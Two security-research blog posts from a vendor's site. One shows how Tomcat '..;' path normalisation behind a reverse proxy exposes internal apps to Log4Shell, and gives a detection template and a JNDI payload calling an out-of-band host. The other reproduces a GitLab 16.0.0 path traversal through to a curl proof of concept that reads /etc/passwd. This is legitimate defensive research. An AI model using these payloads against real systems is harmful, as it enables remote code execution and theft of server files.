As part of our Continuous Automated Red Teaming and Attack Surface Management technology - the watchTowr Platform - we're incredibly proud of our ability to discover nested, exploitable vulnerabilities across huge attack surfaces.

Sometimes, we see old vulnerabilities appear - accessible and exploitable only via unusual path ways, or by abusing unintended behaviour. In this blogpost, we'll be talking about our experience of building the watchTowr Platform to highlight these behaviours and chain exploitation  - using Log4Shell as an example that we commonly see.

To this day, the watchTowr Platform regularly and autonomously finds Log4Shell in trivially exploitable situations across wide attack surfaces - primarily due to it's ubiquitous nature.

But most interestingly, when chaining vulnerabilities together, we see Log4Shell appear in majestic, beautiful manners.

'Log4Shell' is a word that causes trauma, stress and a range of other feelings in security practitioners - even 18+ months after disclosure of the initial vulnerability.

As a brief refresher, Log4Shell set most of the Internet on fire in December 2021 - when a code execution vulnerability in one of the most prevalent and widely used Java logging packages (Log4J) was discovered. The security world sprung into action, identifying vulnerable systems, working out what was exploitable (with the help of technology like the watchTowr Platform), and remediating rapidly.

18+ months later, Log4Shell has persisted - in various forms. Given the prevalence of Log4J, in most enterprise environments, everything was vulnerable. Thus prioritisation was key to handling the massive remediation task - focused on hosts and systems that could be exploited via the Internet (regardless of whether first-order, second-order, third-order etc processing).

Log4Shell was dead! Well, not quite..

But let's start with.. "unusual behaviour".

Tomcat Path Normalisation

Path Normalisation is well-trodden ground, with some fantastic prior art:

• Orange Tsai's Blackhat 2018 talk - Take Your Path Normalization Off and Pop 0days Out

But, as a simple summary:

When utilising NGINX functionality 'proxy_pass', NGINX (and other reverse proxies) possesses the capability to transmit all incoming requests targeted at a specific path (lets use '/publicfolder' in this example) to another server  - for the purpose of this example, let's say it's passed to 'http://internal/app1/'. For a brief explainer on 'proxy_pass', you can find it here.

If we "visualise" typical architecture, it might look like the following:

NGINX <> Tomcat <> Target Application

Now, a few things worth noting:

• NGINX considers "..;" to be a folder name, so a URL like "http://publicserver/publicfolder/..;/ is likely to match a configured proxy_pass rule and forward the request to the Tomcat server.
• The Tomcat server considers "..;" to indicate path traversal and will translate the original URI provided to /app1/../

In this scenario, where unusual behaviour has been identified, an attacker could use the following example URL to traverse out the intended path: http://targetserver/publicfolder/..;/manager/html, and the request will be forwarded to http://internal/app1/../manager/html which ultimately becomes http://internal/manager/html.

As shown above in the example, commonly and lacking inspiration, this is used and abused to access Tomcat management interfaces - i.e. the Tomcat Manager - which would otherwise not be exposed to the internet.

But - as I'm sure anyone reading this post has already determined - there is a lot more we can realistically do with this - including other applications/servlets on the server which typically may only be accessible to localhost, traversing to different controllers of the initial application, or even different applications.

In short, we're suddenly exposed to significantly more attack surface (more application code, servlets, etc), that is expected to not be exposed to the Internet.

Long Live Log4Shell!

So, how is this relevant to Log4Shell?

As briefly mentioned - if we can begin to traverse outside of the expected application, it's plausible that we may access systems, applications, servlets (and any variation in between) that were de-prioritised from patching and remediation of Log4Shell given an understandable belief that exploitation via the Internet should have in theory not been possible.

This means we can chain these two behaviours to still find vulnerable systems at scale, following the following process;

1. Identify systems that show signs of path normalisation behaviour
2. Identify exposed extra attack surface via the path normalisation behaviour
3. Send benign Log4Shell payloads to enumerated extra attack surface.

Identify systems that show signs of path normalisation behaviour

We can use the following blunt-but-simple Nuclei template to identify systems that show unusual behaviour:

id: path-normalization-find-the-behaviour-wt
info:
  name: name
  author: watchTowr
  severity: info
  description: Identifying path normalization behaviour at scale
  tags: tomcat,path-normalization

http:
  - raw:
      - |+
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |+
        GET {{RootURL}}/..;/..;/..;/..;/..;/..;/..;/..;/..;/..;/..;/..;/ HTTP/1.1
        Host: {{Hostname}}

      - |+
        GET {{RootURL}}/..;/ HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
    - type: dsl
      dsl:
        - "status_code_1 != 400 && status_code_2 == 400 && status_code_3 != 400"

    extractors:
    - type: dsl 
      dsl:
        - status_code_1 
        - status_code_2 
        - status_code_3

The configured matchers pose the following questions regarding the responses:

1. Does the root path trigger a 400 Bad Request error?
2. Does an unusual number of ..;/ traversals lead to a 400 error?
3. Does a single ..;/ traversal on the root, not result in a 400 error?

Should these behaviours be observed, its worth investigating further. While false positives (FPs) remain feasible with this blunt detection mechanism with certain proxies, the likelihood is high that the request is being processed at a different level, introducing a new attack surface - and thus for the purposes of automation, we can work off this.

Identify exposed extra attack surface via the path normalisation behaviour

This is now as simple as bruteforcing for content and applications, using the aforementioned path normalisation. An example command is below to demonstrate the simplicity;

$ ffuf -c -w worldist.txt -u "https://watchtowr.com/..;/FUZZ"

Send benign Log4Shell payloads to enumerated extra attack surface.

Assuming the step above provides us with enumerated attack surface, we can send benign Log4Shell payloads in various formats to this newly enumerated, attack surface.

Below is an example, illustrating the simplicitly of combining an identified path normalization issue, with a known existing vulnerability (Log4Shell).

GET /..;/exampleappname/ HTTP/1.1
Host: watchtowr.com
Accept: ${jndi:ldap://oob.watchtowr.com/watchtowr.class}

Conclusion

I hope you enjoyed this look at how we typically chain, at scale, strange behaviour with highly-exploitable weaknesses.

Whilst nothing described above is necessarily bleeding-edge, as a team we're suckers for ways in which we can use unintended behaviour to exploit real vulnerabilities - at scale. These concepts are extrapolated and loaded into the watchTowr Platform - allowing for the detection of unusual behaviour and further exploitation.

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic exploitable vulnerabilities that affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Continuous Automated Red Teaming and Attack Surface Management solution, please contact us.

At watchTowr, some systems are interesting, and some systems are very interesting. When we see impactful, exploitable vulnerabilities dropping out of the sky in typically critical systems - like GitLab - our attention is piqued. It's our job to understand emerging weaknesses, vulnerabilities and misconfigurations - and quickly translate that knowledge into an answer to the question of "how does this impact our clients?".

Through our rapid PoC process, we enable our clients to understand if they are vulnerable to emerging weaknesses before active, indiscriminate exploitation can begin - continuously.

For the unaware, GitLab is a widely used, enterprise-grade web application for managing source code repositories at scale.

In this blog post we’ll be discussing a fresh vulnerability that has been issued an advisory by Gitlab with a CVSS score of 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N).

It’s an interesting one, so let’s get started right away, taking a look at what the vendor shares about the vulnerability:

An issue has been discovered in GitLab CE/EE affecting only version 16.0.0. An unauthenticated malicious user can use a path traversal vulnerability to read arbitrary files on the server when an attachment exists in a public project nested within at least five groups.

The most unusual thing about this advisory are the conditions that were required for exploitation to take place. Why specifically five groups? Why not one, or twelve, or 1337 for that matter?

Given just the information that we are provided in the advisory, we wanted to see if we could reproduce the vulnerability. For this, we’ll be using Burp Suite and a local installation of the vulnerable software - Gitlab Community Edition v16.0.0.

Setting up the target environment

Setting up the target is refreshingly straightforward, thanks to the Docker images available from the official Gitlab DockerHub account. The ‘tags’ section reveals that a tag exists for the version we’re after - 16.0.0-ce. We can run this image with the following command:

docker run -p 80:80  --hostname=hostname --env=PATH=/opt/gitlab/embedded/bin:/opt/gitlab/bin:/assets:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin --env=LANG=C.UTF-8 --env=EDITOR=/bin/vi --env=TERM=xterm --volume=/etc/gitlab --volume=/var/log/gitlab --volume=/var/opt/gitlab --label='org.opencontainers.image.ref.name=ubuntu' --label='org.opencontainers.image.version=22.04' --runtime=runc -d gitlab/gitlab-ce:16.0.0-ce

To reset the root account’s password, open up the container’s terminal and run:

gitlab-rake "gitlab:password:reset[root]"

Reproducing the bug

As we saw in the vendor advisory, an attacker requires two things:

• Firstly, an attachment of some kind,
• And secondly, a public project which is nested within at least five groups.

Creating five groups can be done with the root account. It’s important to make sure that they’re nested. While configuring these, you might start guessing about the nature of the bug - perhaps some kind of loop or path normalization, perhaps the names of each subgroup are concatenated in some weird way. Either way, once you’re done, the result should look something like this:

Let’s navigate to Group 5, create a project, and then start looking for ways to create an attachment inside that project.

Intuition guides us to start by looking at the ‘issues’ section, and the comment features surrounding them. Bingo, there is an ‘attachment’ section (shown below).

Now we’ve found the page that exposes the attachment functionality, it’s time to fire up Burp Suite and start looking at the HTTP traffic involved when we create a new attachment!

We create a new issue, save it, take a look at the HTTP traffic. One thing that immediately caught our attention is the token that is present in the URI. This request is authenticated, so why is a token needed? Could this be the clue that alludes to the project having to be public in order to obtain this token value?

It is helpful now to recall the CVSS score of this, a whopping 10.0. This score implies that a user can access all files on the target system. Typically, an issue of this severity could take the form of a path traversal of sorts (as confirmed by the advisory title). Burp Suite includes functionality to automate discovery of many such bugs - so let’s try our luck with that before we do any manual work.

Burp Suite has an inbuilt wordlist for path traversal and a variety of encodings that have been helpful for detecting and exploiting different forms of path traversal. Typically to find this class of bug, we would use “Fuzzing - path traversal (single file)” then simply replace the {FILE} pattern with a file which we know is present on the target system - /etc/passwd is usually a good bet.

We fire this off, and cross our fingers, but it seems today is not our lucky day - there are no retrievals of the file we specified, /etc/passwd, and a look through the status codes and response lengths doesn’t reveal any interesting outliers either. Back to the drawing board!

At this point, it is helpful to know where on the target’s filesystem our attachment file is located. We used the GNU find command to locate it, revealing the path:

/var/opt/gitlab/gitlab-rails/uploads/@hashed/6b/86/6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b/70d9ea90ac2a4a46440dffc9f8c0770e/blank.txt

Instead of attempting to fetch the high-impact /etc/passwd file, let’s try finding something simpler so that we can understand the bug. Noticing that there’s a relatively deep directory structure, we created a flag.txt file two levels above the attachment file itself.

echo flag-is-here > /var/opt/gitlab/gitlab-rails/uploads/@hashed/6b/86/flag.txt

Now, we can retry our earlier fuzzing process, but this time instead of attempting to retrieve /etc/passwd we can instruct the fuzzer to attempt to retrieve flag.txt. Lo and behold, this time we see success:

It’s apparent that the specific URL encoding to reach the file is ..%2f ,  shown below in the full request/response. Note that requests such as ../../flag.txt are handled correctly, while the HTTP-encoded ..%2f..%2fflag.txt are not, exposing the vulnerability.

Finally, we have reproduced the vulnerability from the vendor advisory! Our work is not yet done, however. For example, why did we achieve no results when trying to read /etc/passwd? Now that we understand the bug itself, it’s time to figure out why the initial fuzzing failed, and how can we overcome the issue in the future.

Note that if we traverse back as many directory levels as possible, we can see the web server responds with a 400 Bad Request when it reaches as many paths as we have in current URI. This is normal behaviour for a webservice such as this - it is nonsensical to use .. to traverse to a level above the domain name itself.

This is when the thought crossed our minds - perhaps we can only traverse as many directories as there are subgroups present in the project? The more subgroups we have, the more elements will be in the URL, and thus the more .. we can specify.

It turns out, this is easy to test - we can simply keep creating more and more subgroups, until we hit gold. Some quick tests revealed that 9 was the magic number to hit the /etc/ directory:

Full PoC via cURL:

curl -i -s -k -X $'GET' \
-H $'Host: 127.0.0.1' \
$'http://127.0.0.1/group1/group2/group3/group4/group5/group6/group7/group8/group9/project9/uploads/4e02c376ac758e162ec674399741e38d//..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd'

But Why?

With the vulnerability thoroughly understood, and exploitation pinpointed, the only remaining step in this exercise is to narrow down exactly where in the code this happened, and when the bug was introduced. We first tested the patched version 16.0.1-ce.0 and the version prior to the vulnerable 15.11.5-ce with our current payload/methodology.

We found, interestingly, that while 15.11.5-ce does exhibit some behaviour similar to 16.0, there was no vulnerability present.

As this is an open source project, and all of the commits are available, we can go searching through source control to find the bug itself (and often come across some useful analysis by the developers). Luckily enough for us, we quickly find a commit entitled “Fix arbitrary file read via filename param” which seems to contain the code we’re interested in.

Also enlightening to us, the changes also contain additional validation logic and modifications to two existing files:

• /app/uploaders/object_storage.rb
• /app/controllers/concerns/uploads_actions.rb

It is interesting to note that the lead to the payload can be found in comments for the file /spec/support/shared_examples/requests/uploads_actions_shared_examples.rb:

Ruby is not a language that I particularly enjoy so my analysis is rudimentary at best - however, we don’t need to be experts in a particular language to understand what’s going on. If we look through the differences between three versions of the file:

Pre-Vulnerable: 15.11.5-ce.0

Vulnerable: 16.0.0-ce.0

Post-Patch: 16.0.1-ce.0

We can see one of the outstanding changes lies within the file /app/uploaders/object_storage.rb.

In the vulnerable version, a new method for “retrieve_from_store()” was introduced with detailed comments as to why it is there to handle the specific variable for “@filename”

The intention is to handle scenarios where fetching the file may have the hash or the path of the file contained within the value. This logic will separate the values, splitting so that only the actual filename is set:

In the patched version, new filtering and validation functions are introduced to prevent the injection of path traversal elements. They can be found in the method Gitlab::Utils.check_path_traversal:

How impactful is this vulnerability?

It goes without saying that being able to read local files as deep as the root of the server is critical. However, the conditions required for successful exploitation are unusual:

• 5-9 Nested Groups
• A Public Project
• An Attachment

Realistically, it is unlikely that these conditions will be met organically. However, if an attacker can register their own project, they may be able to cultivate the environment required for successful exploitation.

By default, new users are permitted to sign up to on community editions of GitLab, but each new user requires an administrative approval. If these administrative approvals are disabled, there are various other options that can be applied by administrators (such as email domain validation) which may mitigate risk to an acceptable level by allowing only trusted users to manipulate the environment.

Conclusion

This has been an awesome bug to explore! I hope you’ve enjoyed reading, and gained some insights into the process of reversing a CVE advisory to a PoC exploit.

One of the key takeaways from this is the ability to understand the vulnerability in the context of the application internals. This CVE is an excellent demonstration of moving through a different context than is being shown on the surface of the web application, so huge kudos to the original discoverer.

Going forward, I’d like to use the technique of pushing flags and canaries to every directory on the server, to see if we have some level of traversal apparent. We can’t always immediately reach /etc/passwd and get the golden screenshot, but this doesn’t necessarily mean there aren’t other items to catch.

Lets hunt for the behaviour first then move on from there.

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic exploitable vulnerabilities that affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.